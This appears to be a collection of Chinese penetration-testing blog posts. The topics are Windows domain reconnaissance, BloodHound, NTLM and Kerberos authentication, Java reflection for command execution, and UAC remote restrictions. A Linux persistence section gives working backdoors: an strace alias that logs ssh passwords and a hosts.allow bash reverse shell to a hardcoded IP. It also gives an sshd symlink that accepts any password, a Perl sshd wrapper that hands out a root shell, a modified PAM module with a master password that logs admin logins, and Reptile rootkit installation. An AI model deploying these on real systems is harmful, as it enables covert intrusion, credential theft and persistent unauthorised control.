1 | nltest /domain_trusts /all_trusts /v /server:<域控ip> //查询信任域 |

1 | nltest /dsgetdc:<域名> /server:<域控ip> //查询域详细信息 |

1 | 查询域内各种资源服务器: setspn -T <域名> -Q */* | findstr <过滤字符串/可不加> |

1 | net group "domain controllers" /domain //得到域控制器主机名 |

1 |
|

1 | net group "domain controllers" /domain //查询域控制器 |

1 | net group "domain computers" /domain /查询域机器 |

1 | net group /domain //查询域里面的组 |

1 | net user /domain //查询域用户列表 |

1 | net view //查看当前域内机器列表 |

1 | net view \\ip //查看某ip开启的共享 |
只开启默认共享的情况下列表为空

1 | net view /domain //查看内网存在多少个域 |

1 | net view /domain:XXX //查看XXX域中的机器列表 |

1 | wmic useraccount get Caption,sid //获取域内所有用户sid |

1 | csvde -setspn <域名> -f c:\windows\temp\xxx.csv 导出域详细信息:(winserver 2008内置工具,安装了AD DS或者Active Directory轻型目录服务服务器角色则此功能可用) |
1 | nbtscan.exe 192.168.10.0/24 //扫描内网存活机器,如果开启了防火墙无法被扫描到 |

1 | dnsdump.exe -u <域名>\<用户名> -p <用户密码> -r <域控主机名> //dump域内dns记录,导出文件名为record.scv |


BloodHound
https://github.com/BloodHoundAD/BloodHound/releases
BloodHound是一款域内信息收集分析工具,可以以图形化的方式将获取到的信息展示出来
以Mac的安装方式为例:其他系统可参考官方wiki
releases页面中可下载Mac的发布版本

下载neo4j数据库
https://neo4j.com/download-center/?ref=web-product-database/#community
解压后在bin目录执行启动程序
1 | chmod +x neo4j |

neo4j需要java11 才可运行,否则会出现
Unable to find any JVMs matching version "11".Mac同时安装JDK11和JDK8,JDK11将成为Jar Launcher默认使用的版本,导致burpsuite无法正常运行
可编辑 neo4j启动程序, 在文件头部添加下列代码来指定使用jdk11,参考这里来避免JDK11 成为Jar Launcher默认使用的java版本
1
2 JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-11.0.5.jdk/Contents/Home
JAVA=$JAVA_HOME/bin/java浏览器访问127.0.0.1:7474 修改默认密码(初始neo4j/neo4j)

修改完成后启动之前下载的BloodHound程序,输入用户名密码登录

此时配置完成,下一步进行数据采集
下载数据采集器: https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors
以可执行程序版本SharpHound.exe为例
下载后复制到域内机器上执行SharpHound.exe -c all

执行完成后会将所有信息打包成zip 
SharpHound需要.net环境,这点很蛋疼,如果目标机器权限较低没有.net环境并且无法引入powershell模块,那SharpHound基本没用了
获取到数据后复制到装有BloodHound到机器上,点击upload 上传压缩包文件

完成后会显示上传的数据信息

点击queries进入查询模块
预置的查询条件有12个,分别为:
1 | 查询所有域管理员 |
选择查询模块后会出现对应的拓扑图
点击拓扑图上的节点将出现节点的详细信息

上一篇提到了域内身份认证是采用的Kerberos协议,那么具体的认证流程是怎样的?
需要了解的几个概念
关于下文需要记住的一些点
Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash
TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash,这几个可能有时候叫法不一样但是是一个东西
Server 和 Service 也可以当作一个东西,就是Client想要访问的服务器或者服务
Client/(TGS/Server) Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥,而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密
也就是说,参与认证的三个角色的NTLM Hash是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥Sessionkey的安全传输
后面的描述可以看完具体认证流程再回来看
然后Service 和 TGS 通过对TGT 和 Ticket (TGT 和 Ticket中包含会话密钥Sessionkey和客户端的身份信息)使用自己的NTLM Hash进行解密获取到会话密钥,再使用这个会话密钥解密客户端通过这个会话密钥加密发来的验证信息
通过解密客户端发来的验证信息,可以得到客户端的身份验证信息,再与使用自己的NTLM Hash进行解密TGT或者Ticket得到的客户端身份信息进行比较来完成对客户端身份的验证
TGT或Ticket 是由KDC使用TGS密钥和Service密钥进行加密的(上文讲到KDC可以从AD数据库中提取这三个东西),但是Client因为没有这两个密钥所以无法解密与修改。KDC将一份会话密钥通过Client的密钥加密发送给Client,另一份放在TGT中和客户端身份信息一起通过TGS的密钥进行加密也发送给Client
Client可以使用自己的密钥解密第一份会话密钥,然后用这个会话密钥来加密一份自己的身份信息,再把加密的身份信息和TGT一起发送给KDC,KDC此时如果能使用自己的TGS密钥来成功解密TGT,说明这个TGT是可信任的,因为Client无法修改TGT,然后再用这个TGT中的会话密钥来解密客户端发来的身份信息,与解密TGT得到的身份信息进行比对,如果能成功解密并且比对成功,说明这个Client是可信任的
Server端认证跟上面是一样的
再说个更简单易懂的例子(编个故事):戏说地狱三头犬


此时并未发送[密码]或[密钥]信息

AS收到用户认证请求之后,根据请求中的 用户名 信息,从数据库中查找该用户名是否存在。
如果 用户名 存在,则根据该用户名提取NTLM Hash做为AS生成的Client 密钥,如果第1步中用户提供的 密码 信息正确,该秘钥与用户登录中的 Client密钥 是相等的。
AS为Client响应如下消息:
Client收到AS的响应消息以后,利用自身的 Client密钥 可以对Msg A进行解密,这样可以获取到 Client/TGS SessionKey 。但由于Msg B是使用 TGS密钥 加密的,Client无法对其解密。

- AS响应的消息中有一条是属于Client的,但另外一条却属于TGS。
- Client/TGS SessionKey出现了两个Copy,一个给Client端,一个给TGS端。
- 认证过程中的加密除哈希外均采用的是对称加密算法。

客户端发送的请求中包含如下两个消息:

KDC接收到TGT与其他内容后,会首先使用KDC 的NTLM Hash解密TGT,只有KDC可以解密TGT,从TGT中提取到 Client/TGS SessionKey ,再使用 Client/TGS SessionKey 解密Authenticator 1,获取到{Client ID, Timestamp} 并与通过解密TGT获取到的{Client ID, 有效时间}进行对比

TGS为Client响应的消息包括:
Msg E 使用 Service密钥(服务器的NTLMHash) 加密的 Client-To-Server Ticket , 该Ticket中包含了如下信息:
Msg F 使用 Client/TGS SessionKey 加密的 Client/Server SessionKey 。
Msg F使用了 Client/TGS SessionKey 加密,因此,该消息对Client可见。Client对其解密以后可获取到 Client/Server SessionKey 。
而Msg E使用了 [Service密钥] 加密,该消息可视作是TGS给Service Server的消息,只不过由Client一起携带发送给Service Server

发送的消息中包括:
- Client/Server SessionKey 并非直接传输,而是被包含在使用[Service密钥]加密的Msg E中。
- 既然 [Client/Server SessionKey] 并不直接明文传输, Client需要向Service Server证明自己拥有正确的 Client/Server SessionKey ,所以,Authenticator 2使用了 Client/Server SessionKey 加密。
SS收到客户端的服务请求之后,先利用自身的 [Service密钥] 对Msg E进行解密,提取出Client-To-Server Ticket, 在3.2步骤中,提到了该Ticket中包含了 Client/Server SessionKey 以及Client ID信息。
SS使用 Client/Server SessionKey 解密Msg G,提取Client ID信息,而后将该Client ID与Client-To-Server Ticket中的Client ID进行比对,如果匹配则说明Client拥有正确的 Client/Server SessionKey 。

而后,SS向Client响应Msg H(包含使用 Client/Server SessionKey 加密的Timestamp信息)。
Client收到SS的响应消息Msg H之后,再使用 Client/Server SessionKey 对其解密,提取Timestamp信息,然后确认该信息与Client发送的Authenticator 2中的Timestamp信息一致。
如上信息可以看出来,该交互过程起到了Client与SS之间的“双向认证”作用。
2.2 AS确认Client端登录者用户身份
4.1 Client向SS(Service Server)发送服务请求
关于Service Hash,Service Hash其实是目标中一个用户名与hostname相同的用户的Hash
如hostname为PC-WIN7的服务器,对应的Hash就是Username : PC-WIN7$的哈希
]]>
阅读本文前需要补充的知识:域的基本概念,域环境与工作组环境的区别
何谓域渗透,域渗透就是基于windows域环境的渗透,而域渗透设计到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一
Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成NTLM Hash,然后与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败
这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现
大致的运算流程为:
1 | 用户密码->HEX编码->Unicode编码->MD4 |
用python计算密码’admin’的NTLM哈希:

NTLM Hash的前身是LM Hash,由于存在安全缺陷已经被淘汰,无需做过多的了解,知道有这个东西即可
本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对
我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTLM协议的认证过程分为三步,也叫挑战相应机制:
协商:双方确定使用的协议版本,NTLM存在V1和V2两个版本,具体区别就是加密方式不同,不用管
质询:挑战(Chalenge)/响应(Response)认证机制的核心
1.客户端向服务器端发送用户信息(用户名)请求
2.服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为“Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)发送给客户端。
3.客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
验证:在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过
其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
简单的来说:客户端向服务器请求使用某个用户进行验证,服务端判断该用户是否存在,存在的话使用这个用户密码的哈希值来加密一个随机字符串,并且将这个随机字符串返回给客户端,客户端再把自己提供的密码进行哈希处理后也来加密这串随机字符串,然后再把结果发送给服务器,服务器把从客户端发送的加密结果与自己本地的加密结果进行比较,相同的话便通过认证
其中的关键点在于:第二步中客户端发送的是NTLM哈希值与随机字符串加密的结果,而这个NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的NTLM哈希即使不知道正确的密码也可通过认证
再举个简单的例子,渗透某个站点,通过sql注入获取到了用户数据库,然后发现数据库中的管理员密码是md5加密的而且无法解开,但是这时候发现在前端登录时,也会将你输入的密码进行md5加密,也就是说后端是对比两个md5值是否相同,那我如果知道密码的md5值就能直接登录了,干嘛还要去解开呢?
工作组环境和域环境下Net NTLM认证过程因为有DC(域控制器)的参与流程略有差异,不过不影响我们进行哈希传递攻击
域内认证即采用了Kerberos协议的认证机制,与前两者相比最大的区别是有个一个可信的第三方机构KDC的参与
参与域认证的三个角色:
AD,全称叫account database,存储域中所有用户的用户名和对应的NTLM Hash,可以理解为域中的SAM数据库,KDC可以从AD中提取域中所有用户的NTLM Hash,这是Kerberos协议能够成功实现的基础。
从物理层面看,AD与AS,TGS,KDC均为域控制器(Domain Controller)。
Kerberos认证协议的基础概念:
票据(Ticket):是网络对象互相访问的凭证。
TGT(Ticket Granting Ticket):看英文名就知道,用来生成Ticket的Ticket,Ticket的爹。
KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:
Authentication Service: 简称AS,为Client生成TGT的服务,也用来完成对Client的身份验证
Ticket Granting Service: 为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务

Kerbroes认证流程有些繁琐:
Client向KDC发起服务请求,希望获取访问Server的权限。 KDC得到了这个消息,首先得判断Client是否是可信赖的, 也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS返回TGT给Client。
Client得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候通过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。(TGS服务的任务)
Client得到Ticket后便可以使用这个Ticket成功访问Server。但是这个Ticket只能用来访问这个Server,如果要访问其他Server需要向KDC重新申请。
Kerberos由于容易让人看困,后面单独再拿出一章来讲
]]>
alias后门 ssh密码记录
1 | alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’ |

后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中
1 | cat /tmp/sshpwd-xxx.log |

Tcp Wrapper
1 | echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow |
ssh 连接目标可触发后门回连

软链接SSH后门
1 | ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337 |

执行完成后可使用任意密码ssh连接目标机器31337 端口

重启失效
SSH Wrapper后门
1 | cd /usr/sbin/ |

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下
分析:
1 | exec"/bin/sh"if(getpeername(STDIN)=~/^.. 4A /); |
如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是13377(4A是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行,相当于反弹一个root shell (sshd是root权限运行的)
1 | exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV; |
启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd
这一行保证了普通用户也可以正常使用ssh 服务
连接后门:
1 | socat STDIO TCP4:target_ip:22,sourceport=13377; |

将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334
这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell
无额外端口,隐蔽性较好
PAM后门
可以简单理解为劫持系统的身份认证机制
测试机器ubuntu
首先判断当前安装的pam版本
下载解压对应版本的pam源码 http://www.linux-pam.org/library/
之后修改两处代码
1 | vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c |
第一处pam_sm_authenicate()函数处,添加FILE *fp

第二处
pam_sm_authenicate()函数尾部
1 | //add password "test" |
编译 ./configure && make
备份原有PAM模块 mv pam_unix.so pam_unix.so.bak
使用新编译的pam模块替换原有模块cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
完成后可使用添加的密码test登陆
当管理员登陆成功时
密码会被记录在/etc/pam.txt中
隐蔽性最佳,操作较为繁琐
无法删除的文件
1 | echo 'whoami' > ..\ \ \ //最后一个\后也有空格 |


这种方法建立的文件无法通过rm + tab 或rm -rf ./* 删除


除非知道文件名后面有多少个转义字符\

参数混淆
使用echo 等命令新建一个文件名为 –rf 或者 -rm 的文件


rm在删除时会把文件名当作rm的参数而无法正常删除
如果要删除这种文件
可使用 rm –- ‘-rf’
隐藏权限
可使用 chattr +i 来给文件添加一个无法修改的隐藏属性

chattr -i 即可解除,过于常见,不实用

https://github.com/f0rb1dd3n/Reptile
在目标机器上下载源码
1 | git clone https://github.com/f0rb1dd3n/Reptile.git |
执行./setup.sh install安装


查看效果


进程与开放的端口均无显示
安装完成后会生成可执行文件到/reptile/ 目录下
目录无法通过ls看到,只能通过输入绝对路径访问
提供的命令:
1 | /reptile/reptile_cmd root 提权:任意权限用户执行完成后获取root权限 |
安装控制端
1 | apt install libreadline-dev |

这款rootkit的运作机制为:
使用控制机的特定端口(如配置中的666)给目标任意端口发送一串数据
当目标机器接收到这个数据后,按照配置回连
控制端使用方法与msf的linster相似
需要设置本地监听地址,连接密码,目标机器ip端口等

测试环境为内网被控机器,公网控制端,并且安装时设置了自动回连
此时单独使用./bin/下的listener在公网监听即可,会自动回连
如果安装时没有设置自动回连
可通过手动发送packet来触发回连
公网监听8200 端口

使用packet发送回连请求,接收shell


废话看不懂系列:
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法
Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为所欲为了。当然前提可能需要你能控制反射的类名、方法名和参数。
反射的应用:
ide 自动提示功能,对象(提示属性,方法)–通过反射机制知道的
servlet ->程序员定义->配置文件中的配置->tomcat创建->配置文件信息->类的全路径->tomcat可以根据类的完整名称创建对象
反射可以根据一个字符串(类的全路径) 创建一个类的对象
如在程序中,使用反射技术,程序可以从配置文件中读取配置(字符串:类的全路径)然后动态创建该对象,只需修改配置文件,即可更改创建的对象,而不用写死在代码中
人话能看懂系列:
这里有个类 Car
1 | public class Car{ |
正常创建对象:
1 | Car car = new Car() |
反射创建对象:
1 | 新对象 = 反射("Car") |
Java里有个自带的功能能把字符串当类名,创建个新类,还能知道并调用类中的方法,这就是反射,不然在ide里敲.号的时候编辑器咋知道你那类里都有啥方法的
java反射基于字节码文件对象
字节码文件对象->Class类的对象(字节码文件即java源文件编译后生成的.class文件) Class是java中的一个类型
jvm将.class文件加载到内存执行时,会将.class文件当作字节码文件对象
区分: class , class为java中的关键字,用来定义类
已经获得目标类对象实例,就是已经new出来了一个对象
可以在对象后面使用getClass()方法
1 | public class Preson{ |
已获得目标类名
引用类型和基本数据类型都可以
1 | public class Preson{ |
目标类名在编译器不确定,在运行期确定
1 | Class class3 = Class.forName("com.xxx.xxx.xxx.Person"); |
就是forName()中传入的参数,不是代码中写死的,是从某个配置文件中获取的,或者外部传入的
1 | x = 某个配置文件中指定的类的路径 |
类装载器也可以用来加载类
1 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); Class clazz = loader.loadClass("com.xxx.xxx.Person"); |
1 | ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime") |
class.forName()除了将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块
而classLoader只干一件事情,就是将.class文件加载到jvm中,只有在newInstance才会去执行static块
1 | static块是随着类的加载而执行,只执行一次,并优先于主函数,类调用时,先执行静态代码块,然后才执行主函数 |
一个字节码文件对象对应一个类,类中包含构造方法,成员变量,成员方法
1 | 类 字节码文件对象(类在内存中的体现) |
使用字节码文件对象来构建一个类的对象
正常创建对象
1 | Person p = new Person(); |
Person()为类的构造方法,对象是通过构造方法创建的
使用反射创建目标类对象实例并调用其中的方法
Object newINstance():通过调用默认构造器创建一个对象实例
1 | Class clzz =Class.forName("xxx.xxx.xx.Person"); //获取class对象 |
使用反射创建新的类有两种方式
1 | Class.newInstance() // 只能调用默认的无参构造函数而且必须是public类型 |
上文即用的第二种方式,使用了构造器,也可以不用
1 | Class clzz =Class.forName("xxx.xxx.xx.Person"); |
获得构造器:
Constructor[] getConstructors():获得所有public构造器;Constructor[] getDeclaredConstructors():获得所有访问权限的构造器Constructor getConstructor(Class[] params):根据指定参数(也可无参数)获得对应的public构造器;Constructor getDeclaredConstructor(Class[] params):根据指定参数(也可无参数)获得对应构造器;如果被调用的类的构造函数为默认的构造函数,采用Class.newInstance()则是比较好的选择;如果需要调用类的带参构造函数、私有构造函数, 就需要采用Constractor.newInstance()
使用私有构造器的时候需要使用Constructor.setAccessible(true)方法
1 | Constructor con = clzz.getDeclaredConstructor() |
获得方法:
Method[] getMethods():获得所有public方法;
Method[] getDeclaredMethods():获得所有访问权限的方法;
Method getMethod(String name, Class[] params):根据方法签名获取类自身对应public方法,或者从基类继承和接口实现的对应public方法;
Method getDeclaredMethod(String name, Class[] params):根据方法签名获得对应的类自身声明方法,访问权限不限;
获得变量
Field[] getFields():获得类中所有public变量
Field[] getDeclaredFields():获得类中所有访问权限变量
Field getField(String name):根据变量名得到对应的public变量
Field getDeclaredField(String name):根据变量名获得对应的变量,访问权限不限;
反射创建对象并调用其中的方法
一个简单的类
1 | class Test{ |
通过反射调用Test类的print方法:
匿名对象直接调用成员方法:
1 | Test.class.newInstance().print(); |
通过invoke:
1 |
|
或者
1 | Test.class.getMethod("print").invoke(Test.class.newInstance(),null); |
有名对象
1 | Test test = (Test)Test.class.newInstance(); |
但是如果这样写:
1 | Object test = Test.class.newInstance(); |
程序就会报错找不到print方法,为什么?java中一切皆对象,对象也是个对象,就是Object,那Object就是所有对象的爹,是个顶级父类,如果用Object去接收netInstance(),相当于做了一次向上转型,子类转换成父类,子类方法丢失,所以会找不到方法
一行代码即可实现反射调用Runtime执行本地命令:
1 | Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami") |
分析:
正常执行命令:
1 | Runtime.getRuntime.exec("calc"); |
使用了静态方法getRuntime,无需实例化类即可使用
查看Runtime类中的定义
exec 有多个重载,以最简单的为例。定义如下
传入参数作为命令执行
1 | public Process exec(String command) throws IOException { |
那么为什么不能直接Runtime.exec()而需要多加一个Runtime.getRuntime
在java中当对象方法仅需使用一次的时候,可以通过调用类的构造函数创建匿名对象
但是Runtime类的构造函数是一个私有函数,无法被实例化
1 | /** Don't let anyone else instantiate this class(不要让任何人实例化这个类) */ |
所以只能使用getRuntime这个静态方法来取得Runtime类的实例如Runtime runtime = Runtime.getRuntime()
getRuntime()在调用之后返回一个Runtime类的实例currentRuntime
1 | private static Runtime currentRuntime = new Runtime(); |
在反射调用的时候,通过Runtime.class.getMethod("exec",String.class)获取Runtime类的exec方法,获取方法后可直接调用invoke方法传入参数Runtime.class.getMethod("exec",String.class).invoke(),invoke()方法传入的参数为目标类的实例和要执行的参数,获取Runtime类的实例又可以通过Rutime.class.getMethod("getRuntime").invoke(null)来获取,所以需要将Rutime.class.getMethod("getRuntime").invoke(null)和执行的命令作为参数传递给exec的invoke方法
1 | Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami") |
invoke静态方法
invoke静态方法时,可以不传入目标对象的obj,也可以执行成功
1 | //main函数 |
]]>静态和非静态的区别:
1.全局唯一,任何一次的修改都是全局性的影响
2.只加载一次,优先于非静态
3.使用方式上不依赖于实例对象,通过类名.即可调用。
4.生命周期属于类级别,从JVM 加载开始到JVM卸载结束。
这时候就引入了一个第三者,HR,由于公司施行工资保密制度,员工之间不知道彼此工资的具体数字,但是HR知道全公司员工的工资数字,现在假定每个员工的工资都是不同的,我们用员工,老板,和HR来完成一个安全可信的加密机制,(假定HR是可信任的)
员工,老板和HR便是Kerberos认证中的三个角色

俗称地狱三头犬
那么继续说,公司目前处在这样一个人与人之间毫无信任可言的情况下,还是要继续运转
某天,员工张二狗需要从老板大黄那里取得一份公司机密信息,但是如果二狗直接给老板发消息索要信息,那老板肯定不会给他,因为公司聊天工具里的人现在都是不可信任的,二狗不知道网线那边是不是真的老板,老板也不知道给自己发消息的是不是真的二狗,这时候就尴尬了
然后这时,聪明的老王出现了,老王是个国外读了10年本科的密码学砖家,他就给公司提出来一套流程,鉴于目前大家都没有办法确定某个人就是某个人,那么我们来用密码学的手段确定彼此的身份吧
这个流程是什么呢,如果二狗想给老板发消息,就要先通过HR来确定二狗就是二狗,怎么确定呢,二狗知道自己的工资,HR也知道二狗的工资,那么二狗就先给HR发个消息,我要找老板谈话,帮我弄个身份鉴定证书吧,但是二狗不能直接找HR要这个鉴定证书,因为二狗要先证明二狗就是二狗本人
于是二狗先给HR发了个消息,我是二狗,我要证明我就是二狗!
HR收到了二狗的消息,然后从公司数据库中一查,果然有二狗这个人,但是即使有这个人,又怎么确定二狗就是二狗本人呢,HR就用二狗的工资作为加密密钥,对一串非常复杂的数字(12345)进行加密作为消息A,然后又把这个数字12345和当前跟二狗聊天窗口的截图还有聊天的时间记到一个文件中,再用自己的工资对这个文件进行加密作为消息B
之后HR把用二狗工资加密的消息A和用自己工资加密的消息B一起发送给二狗,为什么要这样做呢,二狗如果能成功解密消息A,就能得到12345,因为只有真正的二狗知道自己的工资,假二狗不知道,消息B又是用来做什么的呢,我们继续看
二狗发送完消息之后,盯着聊天窗,然后钉,钉,响了两声,HR发来了两串东西,二狗看不懂,但是二狗想起来之前老王提出来的认证流程,先用自己的工资解密了第一个消息,得到了那串数字12345,然后用这串12345把跟HR聊天窗口的截图和时间放在一起进行了加密,作为消息D,那么消息C是什么呢,消息C就是HR发来的第二个消息,消息B,不过这次消息C中还要多一个东西,就是老板的名字大黄,大黄和消息B合在一起就组成了消息C
为什么呢,因为二狗这次发送的消息C和D就是为了证明他就是二狗本人,二狗自然确定自己就是真二狗,那么自然也要把老板的名字加到消息中,因为他要HR给他用来跟老板对话的身份鉴定证书,如果不加上老板的名字,HR即便确定了二狗是二狗,也不知道二狗要跟谁对话
现在消息C(消息B和老板的名字大黄)和消息D(二狗用12345加密的聊天窗口截图和聊天时间)就发到了HR那里
HR收到了消息C和D,得到了三个东西,原来用自己工资加密的消息B,老板的名字,和之前自己随便想出来的12345加密的消息D
这里就来到了第一个关键点,HR怎么通过这几个东西来确定二狗就是二狗呢,HR首先用自己的工资解密了消息C,得到了之前的聊天窗截图和聊天时间,还有自己之前随便想出来的12345,然后用这个12345来解密消息D,又得到了二狗对他们两个的聊天窗的截图和聊天时间,通过对比这两个聊天窗截图和时间是否都匹配,HR就确定了这个二狗是真的二狗(假二狗不知道真二狗的工资,所以就无法解密得到12345,也就没法用12345加密消息D,HR自然也没办法解密了),并且就是之前跟自己聊天的那个二狗(因为之前发过去的用自己工资加密的消息B原封不动的发回来了,而这个消息B除了自己谁都无法解密修改)
这里有人要问了,那HR直接用自己想出来的12345解密消息D不是也可以确定二狗就是真二狗吗,这个怎么解释呢,这个公司有一百万个员工,每个员工时不时都想跟老板说说话,而HR脑子存储量不够大,记不住12345这么复杂的数字,更何况是一百万个12345,那脑子不得爆炸了,所以把12345用自己的密钥加密发过去,再收回来用自己的密钥解密取出来,这样就不用记了
现在HR确定了二狗就是二狗,那么看看二狗想跟谁聊天吧,消息C中写的是老板大黄的名字,HR就从公司数据库中查,老板大黄:工资4块3毛1角
然后HR又用老板的工资,加密了和二狗聊天窗口的截图,聊天时间和另一串非常复杂的数字45678 作为消息E(也就是鉴定证书),和用从消息C中找到12345加密了新的复杂数字45678作为消息F
又回到二狗这里,二狗收到这两个消息,用12345解密了第二个消息F,得到了45678,然后用45678加密了自己和HR的聊天窗截图和聊天时间作为消息G,之后把消息E和消息G发给老板,是不是和之前很像
这时老板收到了二狗的消息,老板先用自己的工资解密了消息E(HR用老板工资加密的截图,聊天时间还有45678),得到了45678,然后用这串复杂的数字成功解密了消息G,得到二狗的截图和聊天时间,再对比这两个聊天截图和聊天时间是不是一样的,一样的话老板才能确定二狗是真二狗,经过HR权威认定的二狗,可以充满信任的聊天了,这里其实也有对老板身份的鉴别,因为假老板不会知道真老板的工资,自然也就没有办法解密消息E
至此整个认证流程基本结束,我们将其中的几个关键信息提取出来,换成正常含义下对应的词语
看懂了上面的故事,Kerberos的认证流程也就了解的差不多了,不过是细节上会有些差异
]]>关于net use和psexec无法使用本地管理员组用户建立连接的问题
环境:
1 | win7系统,存在域环境 |
当我尝试使用域用户de1ay\de1ay和本地管理员组的用户de1ay使用psexec连接目标Windows服务器执行命令时返回了拒绝访问
并且在使用net use建立IPC连接的时候返回了Access Denied


由图可见唯一成功的是使用域管用户de1ay\Administrator成功获取到cmd


可见de1ay属于本地管理员组,同时也存在域用户de1ay/de1ay
并且确定ADMIN$目录开启了共享
了解到Psexec是借助的IPC连接执行命令,那么尝试使用上面两组用户名进行IPC连接

只有域管用户成功建立了IPC连接,这里我注意到了de1ay/de1ay用户的全局组成员显示为Domain Users 看起来应该是普通的域成员,并非管理员,猜测是因为de1ay\de1ay是普通用户权限不足,所以无法建立连接
使用net localgroup Administrators查看本地的所有管理员用户中存在DE1AY\Domain Admins组,那么将de1ay\de1ay加入到该组中是否就可以成功连接呢
之后我在域控机器上将de1ay用户加入到Domain Admins组中
或者直接在目标机器上将de1ay/de1ay 添加到本地管理员组
再次尝试使用de1ay\de1ay用户连接
果然这次成功建立了对admin$目录的IPC连接
可成功使用Psexec弹回cmd
此时回到本地用户
在我修改了域控的密码复杂度等组策略并且在目标机器上启用了Administrator用户
这时发现使用本地用户的Administrator用户可以建立对admin$目录的IPC连接,而同为管理员组下的de1ay又是失败的
通过本地查询可以确定de1ay属于管理员组
既然域用户加入到管理员组后便可以成功建立IPC连接,为什么本地用户却又不行?
联想到微软 KB2871997 补丁使攻击者无法将哈希传递给非内置RID为500(Administrator)的管理用用户,猜测是否与补丁有关
但是通过查询补丁发现并没有安装KB2871997
而且网上也有一些即使未安装补丁也无法使用本地管理员组非RID500的用户进行哈希传递和安装了补丁也可以使用RID非500的用户完成哈希传递的案例(有些绕)
那么除了补丁外,还有什么会对这些行为造成影响?
这些问题的罪魁祸首是远程访问上下文中的用户帐户控制(UAC)令牌过滤
微软的 WindowsVistaUACDevReqs 文档中有如下描述
User Account Control and Remote Scenarios:
When an administrator logs on to a Windows Vista computer remotely, through Remote Desktop for instance, the user is logged on to the computer as a standard user by default. Remote administration has been modified to be restrictive over a network. This restriction helps prevent malicious software from performing application “loopbacks” if a user is running with an administrator access token.
Local User Accounts:
When a user with an administrator account in a Windows Vista computer’s local Security Accounts Manager (SAM) database remotely connects to a Windows Vista computer, the user has no elevation potential on the remote computer and cannot perform administrative tasks. If the user wants to administer the workstation with a SAM account, the user must interactively logon to the computer that he/she wishes to administer.
Domain User Accounts:
When a user with a domain user account logs on to a Windows Vista computer remotely, and the user is a member of the Administrators group, the domain user will run with a full administrator access token on the remote computer and UAC is disabled for the user on the remote computer for that session.
还有另一份 Description of User Account Control and remote restrictions in Windows Vista 中的描述
Local user accounts (Security Account Manager user account):
